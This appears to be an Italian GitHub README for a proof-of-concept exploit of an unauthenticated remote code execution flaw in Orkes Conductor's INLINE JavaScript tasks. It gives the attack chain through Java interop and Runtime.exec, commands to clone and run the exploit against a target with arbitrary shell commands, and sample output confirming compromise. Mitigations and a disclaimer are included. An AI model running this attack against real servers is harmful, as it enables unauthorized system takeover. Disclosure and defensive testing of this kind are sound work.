CVE-2026-58138 — Conductor (3.21.21..<3.30.2) Esecuzione Remota di Codice non autenticata

Vulnerabilità critica di esecuzione remota di codice in Orkes Conductor

---

📋 Panoramica

CVE-2026-58138 è una vulnerabilità critica di esecuzione remota di codice (RCE) non autenticata che colpisce le versioni di Orkes Conductor da 3.21.21 a 3.30.1. Questa vulnerabilità consente agli attaccanti di eseguire comandi arbitrari sul server Conductor senza richiedere alcuna autenticazione, portando potenzialmente alla compromissione totale del sistema.

🔴 Gravità

• Punteggio CVSS: 9.8 (Critico)
• Vettore d'attacco: Rete
• Autenticazione: Nessuna richiesta
• Impatto: Compromissione totale del sistema

---

⚙️ Dettagli della Vulnerabilità

La vulnerabilità risiede nel tipo di task INLINE all'interno del motore di workflow di Orkes Conductor. Il task INLINE supporta la valutazione di JavaScript con accesso agli oggetti Java tramite eval, consentendo a un attaccante di:

1. Registrare un workflow dannoso contenente un task INLINE con codice JavaScript
2. Eseguire codice Java arbitrario tramite l'interoperabilità Java di JavaScript
3. Eseguire comandi di sistema sul server Conductor tramite java.lang.Runtime.exec()

---

📦 Versioni Interessate

Intervallo di versioni	Stato
3.21.21 - 3.30.1	✅ Vulnerabile
> 3.30.1	❌ Corretta

---

🚀 Installazione

# Clone the repository
git clone https://github.com/0xgh057r3c0n/CVE-2026-58138.git
cd CVE-2026-58138

# Make the script executable
chmod +x CVE-2026-58138.py

# Verify installation
python3 CVE-2026-58138.py --help

---

💻 Utilizzo

# Basic usage
python3 CVE-2026-58138.py http://target:8080

# Custom command
python3 CVE-2026-58138.py http://target:8080 -c "whoami; id"

---

📊 Esempio di Output

[>] Orkes Conductor 3.21.21 - 3.30.1 Remote Code Execution
[>] Author: 0xgh057r3c0n
[>] CVE-2026-58138 Unauthenticated RCE PoC

[*] target  = http://192.168.1.100:8080
[*] command = 'id; hostname'
[+] workflow 'pwn_1742345678' registered (HTTP 200)
[+] started workflow id = 123e4567-e89b-12d3-a456-426614174000
[+] UNAUTHENTICATED RCE CONFIRMED – command output:
uid=1000(conductor) gid=1000(conductor) groups=1000(conductor)
conductor-server-6b7c8d9e0f-abc12

---

🛡️ Mitigazione

1. Aggiornare a Orkes Conductor 3.30.2 o versioni successive
2. Disabilitare il tipo di task INLINE se non necessario
3. Limitare l'accesso di rete all'API di Conductor

---

⚠️ Disclaimer

Solo per scopi educativi e di ricerca sulla sicurezza. Utilizzare esclusivamente su sistemi di propria proprietà o per i quali si dispone di esplicita autorizzazione al test.

---

📚 Riferimenti

• NVD - CVE-2026-58138
• Orkes Conductor Security

---

⭐ Ti è stato utile? Lascia una stella su GitHub ⭐